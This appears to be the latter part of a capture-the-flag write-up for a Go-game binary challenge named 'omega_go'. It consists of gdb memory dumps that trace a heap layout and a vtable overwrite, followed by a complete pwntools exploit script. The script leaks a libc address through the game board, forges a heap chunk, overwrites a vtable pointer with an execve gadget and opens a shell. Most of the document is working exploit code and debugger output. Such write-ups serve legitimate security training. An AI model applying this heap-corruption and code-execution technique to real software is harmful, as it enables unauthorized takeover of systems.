0x0707420:	0x0000000000000000	0x0000000000000020
0x0707430:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x0707440:	0x0000000155555555	0x0000000000000020
0x0707450:	0x0000000000001000	0x0000000000000000
0x0707460:	0x0000000000000000	0x0000000000000000
0x0707470:	0x0000000a00000009	0x500001000000004f
0x0707480:	0x40660945b078d924	0x40633e4e379b77bf
0x0707490:	0x0000000000000000	0x000000000000fb71
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707450	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000800



(gdb) x/18gx 0x0000000000707530
0x0707530:	0x00000000019a1450	0x00000000019a14a0
0x0707540:	0x0000000000000000	0x0000000000000020
0x0707550:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x0707560:	0x0000000155555555	0x0000000000000020
0x0707570:	0x0000000000001000	0x0000000000000000
0x0707580:	0x0000000000000000	0x0000000000000800
0x0707590:	0x0000000300000000	0x500001000000004f
0x07075a0:	0x40658f8b73d188eb	0x406176e57d9dba8e
0x07075b0:	0x00007f5b133663a0	0x000000000000fa51
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707450	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x00000000007075c0
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000a00
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707550	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x00000000007075c0
0x609fe0:	0x0000000000707680	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000a00
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000401761 in ?? ()
(gdb) x/i $rip
=> 0x401761:	callq  0x400f70 <_Znwm@plt>
(gdb) ni
0x0000000000401766 in ?? ()
(gdb) i r rax
rax            0x707550	7370064
(gdb)

Overwrite the vtable

autolycos@ubuntu:~$ sudo gdb -q -p 6027
Attaching to process 6027
...
(gdb) b *0x04017FC
Breakpoint 1 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x609fd0:	0x40000002aaaaaaaa	0x0000000555555555
0x609fe0:	0x0000000000609440	0x0000010000000000
0x609ff0:	0x1800000000000000	0xaaaa8000000008a4
0x60a000:	0x55550000000aaaaa	0x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 1, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000016a54a0	0x00000000016a5530
0x609fd0:	0x4000000aaaaaaaaa	0x0000000555555555
0x609fe0:	0x0000000000609440	0x0000010000000000
0x609ff0:	0x1800000000000000	0xaaaa8000000008a4
0x60a000:	0x55550000000aaaaa	0x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000

(gdb) x/18gx 0x00000000016a5530
0x16a5530:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x16a5540:	0x4000000aaaaaaaaa	0x0000000555555555
0x16a5550:	0x0000000000609440	0x0000010000000000
0x16a5560:	0x1800000000000000	0xaaaa8000000008a4
0x16a5570:	0x55550000000aaaaa	0x5555555555555555
0x16a5580:	0x0000055555555555	0x0000000000000000
0x16a5590:	0x0000000500000004	0x5000010000000058
0x16a55a0:	0x40667feb65a9a800	0x4063bc970b49e01e
0x16a55b0:	0x0000000000000120	0x0000000000000091

(gdb) x/gx 0x16a5550
0x16a5550:	0x0000000000609440
(gdb) x/gx 0x0000000000609440
0x609440:	0x00007f5d9c93a6bd
(gdb) c
Continuing.
process 6027 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4017fc

(gdb)
(gdb) b *0x4017D0
Breakpoint 1 at 0x4017d0

(gdb) b *0x04017FC
Breakpoint 2 at 0x4017fc


(gdb) c
Continuing.
Breakpoint 1, 0x00000000004017d0 in ?? ()

(gdb) x/3i $rip
=> 0x4017d0:	mov    rax,QWORD PTR [rbp+rax*8-0x30]
   0x4017d5:	mov    rax,QWORD PTR [rax]
   0x4017d8:	mov    rax,QWORD PTR [rax]

(gdb) ni
0x00000000004017d5 in ?? ()
(gdb) i r rax

rax            0x1919550	26318160

(gdb) ni
0x00000000004017d8 in ?? ()
(gdb) i r rax
rax            0x609440	6329408

(gdb) ni
0x00000000004017db in ?? ()
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189

(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/i $rip
=> 0x4017fc:	call   rax
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189
(gdb) 

Exploit Code

from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
 
def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
 
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
execve_bash = libcBaseAddress + 0xe66bd
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
 
#Fake Chunk
Play('D14')
Play('R8')
 
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
Play('P1')
Play('O1')

surrender()
 
Fill('B','S',6)
for line in range(15,20):
    Fill('A','S',line)
Play('A6')
 
#vtable Overflow
Play('B7')
Play('S8')
Play('R8')
Play('C12')
Play('F12')
Play('M8')
 
for line in range(16,19):
    Fill('A','S',line)
 
Fill('A','E',15)
sleep(20) 
Play('F15|'+p64(execve_bash))
 
p.interactive()

Flag

Flag


Related Site